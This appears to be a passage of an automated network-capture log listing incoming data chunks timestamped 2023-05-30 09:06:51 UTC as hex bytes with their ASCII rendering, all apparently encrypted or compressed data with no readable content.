2023-05-30 09:06:51 UTC	115	IN	Data Raw: 05 b9 4e ab 99 c4 4e e9 ca 8a 5e 29 7f 2e 9a b8 3d ff 13 d9 a3 32 e1 01 ab 07 b5 aa 40 cf 38 b6 08 40 cd 85 4a 26 55 73 fd 8e f0 ec f9 d2 c6 fa 11 c3 00 ca 1d d3 69 2e e7 9e 40 ee 32 e0 c5 89 d6 eb a2 83 f3 ad 5b 4f 87 4c a7 30 7e 06 5d 98 ef 5f 8d ea c0 bd c9 fb f3 9f 15 e4 49 d2 98 0c 9a c0 13 45 9c 08 df 60 2f eb a7 a9 e7 ed e7 20 37 fe 05 0e 5d 4b b2 24 94 3e cd 7b ae bf fe 84 66 aa 43 df 76 b9 12 22 d1 54 9e 01 91 94 a3 6d b3 5b bd d3 9c 56 e4 88 7a 76 a1 a3 40 80 af a6 64 f1 c3 a5 01 5b ba 96 a4 67 f5 64 87 f2 38 1f d8 f9 47 f5 76 67 e1 01 f5 c2 9b 1f 71 4d 96 45 ed 91 56 cc 75 64 bb 45 b6 08 e1 37 42 6d ee 22 2f 64 88 83 1d 5d a7 a2 0d df c2 4d ee 05 00 30 36 d8 c9 78 f1 af 0b 9a aa 4c f2 da a2 ae 0a 44 43 19 45 14 a2 be 3e c8 0b 9a 3e 15 b0 65 38 Data Ascii: NN^).=2@8@J&Usi.@2[OL0~]_IE`/ 7]K$>{fCv"Tm[Vzv@d[gd8GvgqMEVudE7Bm"/d]M06xLDCE>>e8
2023-05-30 09:06:51 UTC	116	IN	Data Raw: 5b d2 b6 14 f9 fa 83 4a db ac 96 f3 fb df 59 88 2e 76 12 35 cf 71 a6 f7 34 21 78 74 de 3d 1d 14 3a a4 9d dd 54 23 e7 41 41 b7 83 1c f3 25 db 09 9e 64 87 a8 e1 54 90 42 df 0d a7 a3 69 fb 4f 67 73 6e a6 7f 80 7b 44 2b 29 a0 de 29 af cd a6 3f 5c df 90 0f 07 3d fe 2a 70 1e 38 cb ad 0b e3 27 0b 47 3f ef 9e e9 43 7e 5a a8 a0 15 6a 4c 3c 4c 79 df 82 43 1b 2b 12 3c 9c 64 73 59 99 25 ca 88 08 52 76 bb 2a 30 02 11 35 4a 34 87 69 f5 a7 94 ad c9 44 2a 47 f4 ca 84 9e b4 c1 33 c5 74 cc 97 17 ba fa 2b 27 43 a5 66 67 62 b9 76 dd 5b 34 a6 9b bd b4 94 15 46 b6 61 36 0d 46 8d 91 74 5e c4 68 a5 6d 70 db 4a e3 61 aa ef c5 84 c1 d6 46 78 a2 d6 6d 32 0b 28 d5 be 0e 51 32 df 8a 02 d3 b5 de 94 b1 3e f9 81 8b 21 ad e7 c9 da a7 cc 77 9d a1 e4 33 48 10 47 a1 ad 88 b6 3f 09 87 e2 b6 Data Ascii: [JY.v5q4!xt=:T#AA%dTBiOgsn{D+))?\=p8'G?C~ZjL<LyC+<dsY%Rv05J4iD*G3t+'Cfgbv[4Fa6Ft^hmpJaFxm2(Q2>!w3HG?
2023-05-30 09:06:51 UTC	117	IN	Data Raw: 19 0e 1c 80 d5 80 5c c0 03 03 5d a1 eb 36 fd 2c 1e ef 65 a2 74 d9 7f 2f 57 b7 60 5f 8f 8e ed 0d cb c0 b7 5a 28 bb 09 91 5a 36 da 98 bd 4c 99 36 aa 36 ac e2 50 0d dc 67 a2 0e 73 6b 49 5c 0a 41 a7 e3 3f 27 68 06 91 fe 02 28 fe 5f 81 1a b8 06 1a 80 8c 89 4c 30 9f 6c 46 ca d8 90 5f a2 da ca 52 52 9d 51 4a 9b d3 50 b4 36 93 1f 0e be b9 f0 63 48 0c c9 2c f4 e1 35 b9 9c 8b 73 a6 3a 92 04 7d 77 1e 39 e0 a8 c9 7c 94 41 f6 a1 e4 a2 7b 3a b5 e3 a0 e7 e7 5d 2a ec 5e 65 64 d0 44 71 03 ad 6c 51 c4 1e b8 86 3d 68 0d 2b e4 84 17 3f 5c f9 00 fe f1 ed 78 3a 93 42 05 2a 1b 39 3c 64 6c c7 22 42 84 c4 c8 4d a4 80 8f 46 96 77 c4 49 3e 83 76 bf 03 b6 c4 4d 4f 92 3a 9a c7 bb 42 c5 8e 69 e7 06 d7 65 9a b6 73 7f eb e6 bd 1f ac 7a 20 56 ba 71 81 63 87 0d a5 5f 8a da 28 4c 4f a8 f3 Data Ascii: \]6,et/W`_Z(Z6L66PgskI\A?'h(_L0lF_RRQJP6cH,5s:}w9\|A{:]^edDqlQ=h+?\x:B9<dl"BMFwI>vMO:Biesz Vqc_(LO
2023-05-30 09:06:51 UTC	118	IN	Data Raw: a2 3b ed d9 58 2a 4f b0 68 e1 67 d4 e7 92 31 b8 ad 73 27 53 60 63 d6 4d d7 72 2f 73 e3 a3 e0 b4 bc 78 db a1 47 d0 22 37 7c fa c3 54 d0 5b b8 24 56 df 91 a9 5c f1 17 b2 9b 5f b0 f7 2a 26 af 00 17 5b 65 bd cf 02 cb 4c 4b 11 83 2b 32 98 44 65 a4 f5 e4 03 d0 be c2 b7 a3 18 e1 65 7c 32 00 ac f9 41 c5 bd 90 b2 f4 39 76 27 50 3e 8b 3f 4f b8 7a 97 ff 1b 18 c1 53 95 00 4c bc 34 9f 81 0f 4c 34 b5 fa 2f 61 58 cb 5b 52 b4 8d 01 56 e1 22 26 c7 78 32 34 d0 ad 1f f0 e1 3e f5 3d 7b 95 0e 54 97 f8 e4 df d3 03 9e fb d1 80 39 e0 62 1a ad 11 2c db a4 6c 49 ed 4a ea 2d fa a3 f7 c1 33 6e eb 89 86 54 66 06 36 fc b7 5d cb 69 15 c6 8d e6 ba d6 d3 93 28 ba 17 0d 62 f7 c0 93 a0 5c 5b 51 9b da cd 6f fa e3 d7 4b d5 01 84 11 92 35 2a b5 cf 96 b1 54 8c 17 06 7b d3 8b ee fd f2 c6 9a 10 Data Ascii: ;XOhg1s'S`cMr/sxG"7\|T[$V\_&[eLK+2Dee\|2A9v'P>?OzSL4L4/aX[RV"&x24>={T9b,lIJ-3nTf6]i(b\[QoK5*T{
2023-05-30 09:06:51 UTC	120	IN	Data Raw: 57 eb 4f 24 80 7e 29 64 60 42 ad 19 20 89 1a 12 1b 1b 9a 3a da 72 11 5e 96 18 01 1c de 85 0d ed 3e 3f 15 cb eb 89 1a 03 d1 91 b0 c3 74 00 a6 17 0a df 01 d9 22 63 3f 4f 24 40 6c 74 d8 60 6c 1e 0d 31 98 83 41 44 d2 8c 30 f6 2c d0 b5 a3 a4 a1 91 d3 12 5e 2a 96 36 a4 3a 13 8f 0b 44 ff 83 77 49 f3 c0 33 65 77 02 e4 8f 8a 8b 72 fb c5 5a 9e 44 d3 db ba 3d e4 f0 6a 16 71 35 2b b4 b9 5c 7c d0 ec f6 04 63 69 8e 1f 23 37 cf 3d 9b 5b 39 d2 b7 11 c4 11 14 d3 47 96 50 92 c1 d6 9a fc 26 b4 99 29 f1 2d 4b 1c 0e 52 63 81 b0 1f 14 36 28 32 87 ad b9 43 64 a2 85 33 1d 2f e3 1a 0e c6 63 11 94 12 62 dd de 6a 70 f8 8a 29 37 ed ca e0 c1 d8 ca d6 23 32 7a a9 57 ad 21 0a 00 0c d6 9e 1c ae 35 be d6 ba 09 2e 19 8c a5 dc 00 78 0b 34 cb ad 8e 5c 4f bb 58 a9 c2 3d 18 64 86 f8 20 54 41 Data Ascii: WO$~)d`B :r^>?t"c?O$@lt`l1AD0,^*6:DwI3ewrZD=jq5+\\|ci#7=[9GP&)-KRc6(2Cd3/cbjp)7#2zW!5.x4\OX=d TA
2023-05-30 09:06:51 UTC	121	IN	Data Raw: ac cc f5 8a 60 23 c4 a6 64 64 3a b4 7d f5 02 0b 7c ac 3b 42 26 a1 9f 43 9b 8b 00 bf 28 36 36 1b c9 08 ec 96 5b e4 3c cd e3 54 e5 ed 18 b3 f7 dc ed fb bc bc 5e f9 c2 6c 3b 92 4b 7d cd cf c3 c9 9a 3a 3a 77 17 01 dd d8 91 df df 80 76 a6 7e 83 d6 74 54 11 03 c8 83 1d 96 a7 6f 5a 18 6b 4a 54 3c 02 7b bf 86 cf 3d 1e 59 ff f8 a6 ba 28 d7 18 b5 11 9e b3 81 5a 34 5d c6 96 cd dd 51 86 27 df 54 93 df f9 51 0c eb 8b 76 44 0b 2b f8 4f c9 83 ac 6e 7e 11 47 36 a7 bb 2d be 3f 0d 61 45 1e 64 a2 b0 c3 ea a3 ef 64 74 2b 5e 8c 72 35 8e 90 51 99 12 31 f6 42 55 af 44 ef d6 86 4e 03 11 1b 3c 3c 50 f8 1e 4e 16 4d 82 09 5c 39 8c 5b fb c7 09 21 cd 02 5c 1a 6a 23 f6 91 52 18 e2 db f4 d2 69 6f 65 ec cb 13 57 9f 00 66 cc 44 e8 29 78 49 4f ab 2b f5 af 81 62 be e6 82 7f 3b 15 3f a4 b5 Data Ascii: `#dd:}\|;B&C(66[<T^l;K}::wv~tToZkJT<{=Y(Z4]Q'TQvD+On~G6-?aEddt+^r5Q1BUDN<<PNM\9[!\j#RioeWfD)xIO+b;?
2023-05-30 09:06:51 UTC	122	IN	Data Raw: a0 ef 31 5d ae 06 d9 c6 17 ac e1 a1 af f6 5f 25 57 9c a2 f9 60 6b 78 ba cb 1c 2d 97 fa 23 39 f0 cc e8 07 7c 8a 64 2d 16 68 93 a2 e2 e5 5d 04 71 a3 f7 d9 9f d7 72 0c 25 45 65 41 65 70 21 30 be 85 5b 52 f1 5c 09 a2 a4 bb 98 bc 30 c9 57 ef f1 9b ca b3 78 1c dc 14 7c 47 a1 d2 55 2a cc 37 73 3d 83 1d d5 d1 8a d3 a1 16 fb c5 ec 6f 45 7c d4 cf b0 91 08 9b 31 84 67 82 7e e5 b0 61 51 65 17 50 60 85 7c 7e 08 bb 5b 9f c3 37 d6 ab 59 a0 de 85 03 05 4f fd f5 77 29 d0 c5 72 34 bf 05 b6 e7 20 f0 44 41 c6 b4 5d b8 6f bb 60 16 64 ff c7 35 45 1c d6 f2 25 52 36 e8 fd dd f6 cb ca 48 8b d6 21 39 f4 f5 65 6e 80 38 6d 53 0d db c6 c6 8f 1a 35 1e b8 68 b3 e9 9e 60 2d 18 3c 5f 1b 90 06 dc d4 46 27 ee c5 9e e8 8f 98 58 c4 38 68 c1 ea a5 bd d1 84 b7 cc 7e 2f fd 5c f5 f0 7f ea 49 05 Data Ascii: 1]_%W`kx-#9\|d-h]qr%EeAep!0[R\0Wx\|GU*7s=oE\|1g~aQeP`\|~[7YOw)r4 DA]o`d5E%R6H!9en8mS5h`-<_F'X8h~/\I
2023-05-30 09:06:51 UTC	123	IN	Data Raw: fa 27 e8 1f 01 42 25 ea f5 3a 6a 4d 8f 17 3d d8 b9 a5 0c fd cc 10 12 7b 5e 68 5d c3 65 01 f5 c1 69 95 fc 80 88 3b 38 3c 83 60 c2 de 28 96 32 39 e5 99 dc 18 bb 23 5c 43 72 ee 84 92 6c 01 48 b7 19 55 d4 fd 90 37 5c a2 2a a5 dd 83 6c c6 03 48 6c 5b bf a9 9d dc 70 47 a4 c4 d3 77 e5 55 e8 0a d0 00 94 f9 3d 9b f2 8c e5 d6 df 0d 72 29 64 56 bb 01 20 41 60 01 ed 44 27 38 be f0 44 67 43 7f 7c d1 27 92 9f f8 7f b0 99 26 27 81 7b 8c f4 3a e5 23 8a 8c 07 ed 98 87 c4 be 8a 09 3b 7c 83 1d 37 14 38 1c d0 a9 fb c3 34 41 9f 6f 80 59 7d f3 13 69 07 d7 26 ce 52 7d e7 e0 7a d6 57 b7 9c 8e 4a d4 00 a8 79 ff fd 16 4a 26 13 98 62 c1 2f 02 af 61 e1 b0 e7 3b f4 41 10 88 14 fc f1 62 00 0c 21 b9 7a a2 a5 7f f4 42 26 76 cf 38 fe 44 63 4c 09 2c a9 e6 30 f4 9a 4c cb ea ca 63 36 42 66 Data Ascii: 'B%:jM={^h]ei;8<`(29#\CrlHU7\*lHl[pGwU=r)dV A`D'8DgC\|'&'{:#;\|784AoY}i&R}zWJyJ&b/a;Ab!zB&v8DcL,0Lc6Bf
2023-05-30 09:06:51 UTC	125	IN	Data Raw: 55 a8 78 30 ab c4 60 26 f2 9c 6a 54 66 58 e3 8c ab bd 6e 53 3d a0 ad 86 f8 eb d0 4c 30 75 c3 9b bf 2b b1 e5 39 7e 3a bd ff 7e 2c a9 67 7c ef 2d 67 ee 09 d1 f5 26 80 b4 c5 1c 04 fc cc bc 19 2a 19 23 22 b6 63 26 db c6 73 d0 2c 54 81 5f 64 45 9e 43 ee 0f bf 23 e0 77 62 fa 98 e0 6d ad aa da 7f 4e ec 21 9c 10 f1 79 6f b2 79 49 88 4a 0a bb 1f f9 8a b8 4b 61 cd 6a a9 7a af 8e 2b 59 55 60 5c 3d 86 b5 bb 8b 77 7b 10 48 a0 62 ca d3 2f b0 fc 6d 95 bb a7 58 f4 a1 3b 8f 0d 34 78 5b 65 88 89 77 31 a6 dd e9 23 44 17 70 ed 8b 43 99 f3 bb bd 5c 74 90 d8 94 cd a8 ce 0f 76 12 1a 70 67 65 71 e0 32 32 4c a9 b5 cb 6f b7 20 55 9d a9 8e 32 29 5d 7c 26 52 20 38 9d e8 e8 92 62 9a 41 da 0b f4 95 43 c2 03 be 58 0b 0b 9a f1 d3 b3 db e7 47 9d 25 93 bd bb 82 32 84 8d a8 60 3f e7 f2 da Data Ascii: Ux0`&jTfXnS=L0u+9~:~,g\|-g&*#"c&s,T_dEC#wbmN!yoyIJKajz+YU`\=w{Hb/mX;4x[ew1#DpC\tvpgeq22Lo U2)]\|&R 8bACXG%2`?
2023-05-30 09:06:51 UTC	126	IN	Data Raw: ce bc d7 5f 86 db af 8a 1f 70 a8 61 ff fd 67 45 b0 76 31 d5 11 e9 4c f7 93 e9 41 ee af df ae bf 43 aa d8 e0 dc e0 31 c4 1d 86 ba 86 30 79 6e 1a 19 f0 a7 fe b9 8a ba 9e 35 52 a5 0a 3a c7 a3 11 2f 4a 8b fd 3c 26 8f c4 b6 01 97 de e7 4c 75 bc 4f 59 e4 b4 e9 47 20 13 5a 0a 01 55 34 89 18 09 9b cb 3e a3 5b ed c5 8e ac 17 a0 53 99 70 84 73 04 4f ee 7e fa 1e 5b 42 8b 12 0d 16 a0 46 46 07 8d 5b 5c 41 88 01 d2 ef fd c8 0d 88 e4 04 3a 0f 4d df 63 fc a3 7a 62 03 69 9d d5 74 82 28 cf 83 b8 bc 5d 4f e4 b0 66 15 9d 9f f0 a5 b1 a6 68 ec c5 1d 6f 8f fc 65 8a 84 3a 60 10 29 af f7 70 ed 2e 71 2e b9 d5 bb 48 0c 37 2f 1e 1e 24 f6 a3 d8 f2 0f 76 92 2d d1 08 02 7e 67 49 4b 33 a2 62 e2 81 cb 77 49 aa f4 bb e6 b2 84 64 60 11 d5 28 f9 25 b4 fb af bf df 08 90 1e 22 c5 79 81 f4 e4 Data Ascii: _pagEv1LAC10yn5R:/J<&LuOYG ZU4>[SpsO~[BFF[\A:Mczbit(]Ofhoe:`)p.q.H7/$v-~gIK3bwId`(%"y
2023-05-30 09:06:51 UTC	127	IN	Data Raw: 63 55 df b9 21 a8 c4 ab f9 1a 0e b0 59 dd 88 b5 ca eb ef 61 fd 7c 70 f9 d7 72 ec df 1d 72 88 3b 36 bb f9 76 8d ee a9 be 4e 59 da fc fb 50 2a c4 72 13 9b 66 83 54 83 71 f4 5e 49 4d 8a 2c fd 41 ea c1 d5 7d db 36 fa 9a 82 61 00 8c 32 d3 51 6e 2b b0 25 df d4 59 66 50 cf 91 f6 97 9c 46 96 f4 93 5c 72 7e cc f5 fd a3 44 41 d7 2a ed 79 d3 e2 91 40 0a 1d 0f d1 ce b4 8b 5f bb fa 9f ec 95 67 f6 11 69 c9 9d f1 d7 e9 58 33 41 96 3a 5a 19 53 9f e6 cc 15 c5 72 e8 42 bc bf 8e a3 2c 02 ed c1 1e b0 9c be 05 3e 3d c8 18 3b 31 9f 35 0c 9b 24 06 d7 e5 e5 7d 8b b5 37 7f 36 b3 64 cf bc a0 db bb a4 da 72 2e 30 2d dc 94 1a 23 88 71 e1 8d c9 bf 92 d0 a2 c4 9c eb 32 cc ea ed 5e 54 8e 4b ee 75 0e 3b 12 46 f1 9e 74 c3 cf ef 0c bf 08 fb a2 fb d8 fa 52 73 0f ce 14 6f e3 37 cc 9f a5 27 Data Ascii: cU!Ya\|prr;6vNYPrfTq^IM,A}6a2Qn+%YfPF\r~DAy@_giX3A:ZSrB,>=;15$}76dr.0-#q2^TKu;FtRso7'
2023-05-30 09:06:51 UTC	128	IN	Data Raw: d4 63 fb 21 59 ea 60 96 bd de a2 ac bf cc b4 8b cc 5b 5f ba 5d e4 4e a2 5d 26 d7 79 1c 1f 72 43 1b d3 db 2e e6 32 dc 75 a1 d6 39 b3 48 f7 e4 d4 48 fd a1 f5 bb f5 26 91 1e b9 55 0d 64 c5 f5 93 55 3b 00 20 04 bd e3 16 dd 49 a2 d0 75 3c 5a 25 5c 42 03 57 32 8a a1 b3 a9 4f 43 66 00 42 47 72 3d 13 ea af 29 18 59 0d 22 c6 c6 6f f8 1c 2a 78 f7 46 68 bf 9c da 92 83 95 9e 37 b8 fe b2 88 78 38 69 82 af 5d 64 4a be 85 0a 7d 09 68 12 d6 06 d8 f8 b1 9b 84 72 0c 68 ef a7 62 75 ec 45 02 9a f9 31 58 10 7d 8a 26 a5 18 ab 54 7a e2 82 28 5e e9 eb 9b ea 08 97 60 13 01 c5 3c d1 c1 62 d6 14 13 dd 93 70 2b db ab bb 7f 57 43 62 c2 68 36 ba fe f5 44 74 6d e9 b7 f0 f2 84 90 6f 2a 9c 1d e9 d9 11 0f cf 31 ad 8c 56 b4 11 76 13 9c 9f e9 47 31 f5 70 91 a2 30 13 0d 61 64 07 7e d8 79 2a Data Ascii: c!Y`[_]N]&yrC.2u9HH&UdU; Iu<Z%\BW2OCfBGr=)Y"oxFh7x8i]dJ}hrhbuE1X}&Tz(^`<bp+WCbh6Dtmo1VvG1p0ad~y*
2023-05-30 09:06:51 UTC	129	IN	Data Raw: 7c c4 53 eb fe 5d 7c f0 f3 9d c1 fe 55 11 6c e2 34 79 e6 35 77 25 74 90 00 8a ab e5 ad e9 3d ee df a7 19 c3 0e 97 ea 53 95 da 55 f1 7b 8e 04 12 25 71 c0 1c 9d bb b4 01 2c 1f 03 ae 7a 83 3c cb 23 bf 87 ce 37 c4 32 99 0b 9c aa 0e 0f c6 85 a6 4c 97 ba 64 8c 36 23 44 b6 20 95 9f bc a3 88 79 38 33 6f 9d e3 61 df ec 20 2a 4d 36 Data Ascii: \|S]\|Ul4y5w%t=SU{%q,z<#72Ld6#D y83oa *M6
2023-05-30 09:06:51 UTC	130	IN	Data Raw: e4 bb 7d 6e 5c 57 ba 3e 49 8e 26 b2 48 24 bd 38 71 44 98 79 b4 e4 77 e4 30 5b 41 3c aa b1 5c b7 d0 88 66 ea b7 fa f5 9c 34 31 f1 f5 cd d8 e7 65 1b 1c aa 2c d3 b5 fa d1 5f 17 6d e6 bb d9 1d b2 33 13 9e 3d 23 f6 81 de 0a 05 9f 5d f6 1b 12 3b fd 23 42 dd be ea 00 56 54 13 cf f5 3c 81 0e e8 37 12 e4 cb cf 4d 31 c3 cd ea aa 69 ae 98 bc b0 e7 0f 90 8c 31 e3 5e b5 8b 21 b1 7f a8 55 3d 5e 8f 5d 1f be da 41 0f 76 77 a0 cd fa 72 87 79 d5 2d f5 cd e9 73 e9 1c a0 5b 9a 36 10 45 67 38 3e a3 b2 29 7a ad a6 28 99 20 b7 2b dc 61 0b 39 d6 1c 25 fa 8c 4a 0e 74 b3 27 4f 6b e2 5f 69 f1 3a 92 7b 22 c6 32 ae 9a 69 67 49 b1 72 fd c1 5c 6b 8d 9a 9e c0 03 0e 98 e7 f8 4b 5b 0e fe bd b1 38 5a 92 39 56 9d 32 03 97 8e 0b ed 11 4a 2c a2 c5 d4 67 f8 14 24 fc 0f de e2 c5 e2 c4 6c e8 5d Data Ascii: }n\W>I&H$8qDyw0[A<\f41e,_m3=#];#BVT<7M1i1^!U=^]Avwry-s[6Eg8>)z( +a9%Jt'Ok_i:{"2igIr\kK[8Z9V2J,g$l]
2023-05-30 09:06:51 UTC	131	IN	Data Raw: c8 2a ee 66 be 98 b3 a7 2f 27 34 a4 34 66 44 57 67 48 52 79 b2 1a e0 ef 4e 7b 4f 50 49 5a 09 d5 f0 8e 43 70 b7 02 b2 42 f7 94 57 f1 f4 21 9b ac 92 bc 7e 71 f3 60 7f 9f 8b b5 b9 78 69 16 9d 98 46 4a 0d 50 db e9 3f cf 58 39 a9 1d 8b 1b a4 dd 46 37 05 0d c0 78 bb 9b 52 68 10 71 71 39 a0 f0 e7 ef f4 76 57 a5 c3 ae e7 04 7b 5f 4f 8d 39 93 39 5d 71 98 a5 d3 2b 7a 49 cd 6f b3 35 ff c6 10 ce 27 34 f8 c3 54 ac 14 32 2f ce d0 bf c3 c2 5c f4 a9 7d f0 b2 00 4c a6 fb 93 fa 9b f9 6d a4 4c ec de 63 68 9e 66 ea 02 21 2b 4a 0f ad ec a1 fb ce f6 8a 3e 57 67 20 3f 8a 39 2e de 6e 07 43 f9 24 58 b2 7f 5f 6c c9 71 46 17 8a de 2f 28 6f e6 24 b9 f8 a1 92 a5 fb f0 62 c9 ee 81 4d e2 c1 9c 1c 9d 6e fa d7 ba 9e 8a 83 02 8d 58 4d fc e2 6b 2c 7f 8a 55 6c c5 b1 ab 22 2c 28 7f 4c 05 1f Data Ascii: *f/'44fDWgHRyN{OPIZCpBW!~q`xiFJP?X9F7xRhqq9vW{_O99]q+zIo5'4T2/\}LmLchf!+J>Wg ?9.nC$X_lqF/(o$bMnXMk,Ul",(L
2023-05-30 09:06:51 UTC	132	IN	Data Raw: 77 1c 4a e2 01 74 f5 ce 41 29 58 9c 01 66 06 1f 75 b0 15 bf 9d 64 be d2 2a 10 7f 29 c3 71 9e 20 4a 43 df 93 08 84 ca d3 3d d8 29 0c be 45 fc 34 b8 10 67 cd 2e 40 1c 43 2c bc 65 9f da 24 9c 32 12 67 a6 ca 22 46 ef 75 1c 2c 82 a8 2e 6d 7a 99 e9 34 52 21 d9 29 6c 67 1c 6b 5c 94 02 22 36 06 6a ec 0a aa 52 d8 eb 53 51 62 c0 31 b3 6d 70 e3 43 d6 1e 67 0d 5e 23 6d 0c af 04 9e a9 db 54 23 d1 0e d9 50 75 b1 44 89 aa 8c 9a 25 4b 3e 31 0d 3b 83 0b 5c 01 40 7c 9f 30 7e fc bb 09 da 49 39 c0 df 55 b7 73 ee e4 53 be 7a 83 1d 34 0b 64 b1 98 38 e4 4c c5 33 be 24 cd e8 21 d1 43 7c d7 e0 25 ed 0a e3 0e e7 03 d5 b2 0c c0 bd 69 45 f2 4a cd 71 8e 4a e6 cb 6a 38 57 e9 9a cc 88 8a 5a c2 8f 3f a4 14 fe bd 96 71 55 67 eb bf 7a 23 0b 79 76 6a fb ab d1 c4 fa b0 7f 36 57 81 80 5f 9e Data Ascii: wJtA)Xfud*)q JC=)E4g.@C,e$2g"Fu,.mz4R!)lgk\"6jRSQb1mpCg^#mT#PuD%K>1;\@\|0~I9UsSz4d8L3$!C\|%iEJqJj8WZ?qUgz#yvj6W_
2023-05-30 09:06:51 UTC	133	IN	Data Raw: 01 1f fa 1c 59 cf d0 b1 16 5b 00 bc a8 85 fe 1f d9 0a e7 96 6f d6 62 3c b5 43 12 b6 b2 f4 22 83 46 82 e5 6b 52 23 b2 25 35 ba eb f0 c1 af f4 e0 c9 62 fc a2 31 70 d2 21 2b 1e 1c f3 e1 9a d6 d7 c3 28 0a 47 db 9f 19 1d ff ce 21 40 68 dc 39 b4 8d 01 a4 ff 24 45 03 ed d8 31 c8 ee 09 dc 41 36 4b 85 51 09 f2 43 3c 28 30 93 bf b5 3e 96 3d 28 3e d2 c9 31 61 2f 77 a5 5b 58 6a 50 2a 62 56 20 1e 91 5d 4b b4 cf 21 a4 06 11 ee 0e 20 c2 35 22 c6 02 b2 e9 a2 b8 eb 4b 77 5d af a5 34 e4 35 02 18 5b cc ca 80 6c 19 58 01 72 4a 84 d3 71 a2 93 e5 66 58 a8 b7 26 05 24 68 3a 3c 1c 22 3c 0b af 3c a2 8f 81 92 a4 bf cf 33 82 a9 bb ef 75 7c b7 2a a1 c5 e7 20 32 3d 08 d0 43 f3 1c 33 cb 37 f9 8c 71 fa 71 d5 6b bb e9 c5 eb a4 a8 47 0b c8 e6 10 72 a7 cf 98 33 ae cf 8c 5d 61 56 73 06 dd Data Ascii: Y[ob<C"FkR#%5b1p!+(G!@h9$E1A6KQC<(0>=(>1a/w[XjPbV ]K! 5"Kw]45[lXrJqfX&$h:<"<<3u\| 2=C37qqkGr3]aVs
2023-05-30 09:06:51 UTC	134	IN	Data Raw: 27 7f 00 45 4e 78 22 c5 55 ff 1a 9f b2 78 fd fd 3e 8b e9 e4 e3 02 5e 42 07 3e 7c 50 49 3a 5f d8 09 e6 92 68 45 23 d3 fa cc 47 b3 de 28 0d 54 57 bb b4 05 68 76 d0 33 1e 7a 0c 6d 02 c6 b2 3b 50 76 27 ae e1 79 55 29 1f 12 15 a1 e7 95 c2 84 01 87 a7 e3 64 97 27 a5 ab 07 43 e7 ee bc 2d 32 17 99 9f 5f e7 94 01 ea 72 43 b9 c9 d7 bd 67 42 fb b9 8e 8d c9 e1 37 e2 d7 63 9e 72 76 c8 68 80 12 77 8e f1 4a af a3 d1 34 c6 71 25 5f 83 27 2b f9 78 0e 6c 04 2e 40 e3 c8 aa c2 78 c6 b3 4a fa 78 ff 23 c3 69 1d db ae 24 f2 7e 67 e6 20 88 3a ce 77 77 15 d6 7e 8e d1 50 71 93 df 4a fe 7f 80 08 f0 06 b8 c8 d5 b9 55 37 c8 a7 87 f7 64 2f 63 46 5e 62 86 58 2b 12 03 8f 0f 65 05 07 6a 48 9b bb 9f 05 4f 14 a2 30 3b 75 9a 47 af 0c 62 67 35 70 92 18 5b a8 31 dc f3 fb e1 b2 ad 76 0e ec a9 Data Ascii: 'ENx"Ux>^B>\|PI:_hE#G(TWhv3zm;Pv'yU)d'C-2_rCgB7crvhwJ4q%_'+xl.@xJx#i$~g :ww~PqJU7d/cF^bX+ejHO0;uGbg5p[1v
2023-05-30 09:06:51 UTC	136	IN	Data Raw: 2a 1b a6 9f 10 7f e1 27 c7 f8 b9 8e 61 f7 42 11 49 01 89 5b ed 33 bd a1 34 af c9 28 e1 48 4e 6d 90 3e 15 7c ea 87 6d 6c b7 54 ff d7 bb b9 ef 35 92 69 b4 3b 82 7e 2b 89 0d f2 60 8e 4c e6 8b 79 4c 03 7b b3 a6 4f 16 21 58 02 22 e7 ee 65 d0 ee 9e 5a de 12 03 93 cb a4 14 88 37 db ac 61 f1 63 b5 f6 f4 e6 4b 5c cb 52 29 26 6e 85 6a ba 62 28 83 ab 32 8a dd 0a bf e2 67 f4 f4 5d 8b df 65 3d 65 77 23 77 dc d6 73 ed 76 8b b6 26 2b 07 f1 4b ca 8c 80 17 b0 9d 6d c5 f5 1c 53 c1 c6 7b 9f e1 29 b8 6a 2d eb 37 db 53 88 84 cb 39 ce 9d 0a e8 98 ef dd fb ad d5 fe 63 8f 20 69 aa fa f6 ac a0 7b d9 0d 67 6d 50 1b f5 3f 37 f7 a4 84 6b ad a8 31 a3 c9 92 5b c7 0f 7b d2 e4 1a dc a1 87 63 2f 6b 38 30 ee 13 b7 6c ba 34 c5 12 42 04 9e b8 6d fd 67 a9 23 b0 da 3a 08 bb 4c 5a 89 ec 52 fe Data Ascii: *'aBI[34(HNm>\|mlT5i;~+`LyL{O!X"eZ7acK\R)&njb(2g]e=ew#wsv&+KmS{)j-7S9c i{gmP?7k1[{c/k80l4Bmg#:LZR
2023-05-30 09:06:51 UTC	137	IN	Data Raw: 7b 7b 20 a3 77 22 95 bb bd 07 e9 e3 a5 ab 85 eb f1 02 d6 d4 ef 8f 64 43 56 4d 33 53 a3 0f b5 d6 45 5f 73 61 85 84 70 d0 50 14 0d cf 5a 45 d5 da 24 4b 33 b8 bd ae a0 d3 07 64 ab b0 31 54 86 a0 b9 81 8c 5d 64 14 71 b0 f1 74 3c 0f 5d a3 ac 3f 02 28 10 a4 0f 00 06 76 36 e5 51 d9 b4 04 a9 a3 87 9c 1a aa bc a5 bb 68 a6 43 8c d9 4f fd e6 36 4e 4e de 38 c3 05 f7 47 88 7d 9f e3 c8 1e 95 ab 73 89 5f 31 b3 a1 cf db 0a e9 30 05 36 e2 c9 55 3f fd e6 f3 b6 3c 09 ef fb 79 12 1b 34 2e cc 2b 38 93 9a ce 34 92 a3 de a7 eb 97 81 5e 4e b4 21 ba 31 da 2d c2 7f d9 cf ee 4a 8a 58 23 5f 76 78 86 2f e2 b3 0e 0e 00 a3 83 b2 3f f7 35 98 4f cf 28 82 00 60 87 09 3c 05 bb 33 45 78 11 8c 67 1d 52 3c b4 4c c7 8b 3c 56 17 c3 6f 80 81 c4 ca 1b ea dc dd 35 26 14 0b aa a7 9b 45 a8 d4 34 0d Data Ascii: {{ w"dCVM3SE_sapPZE$K3d1T]dqt<]?(v6QhCO6NN8G}s_106U?<y4.+84^N!1-JX#_vx/?5O(`<3ExgR<L<Vo5&E4
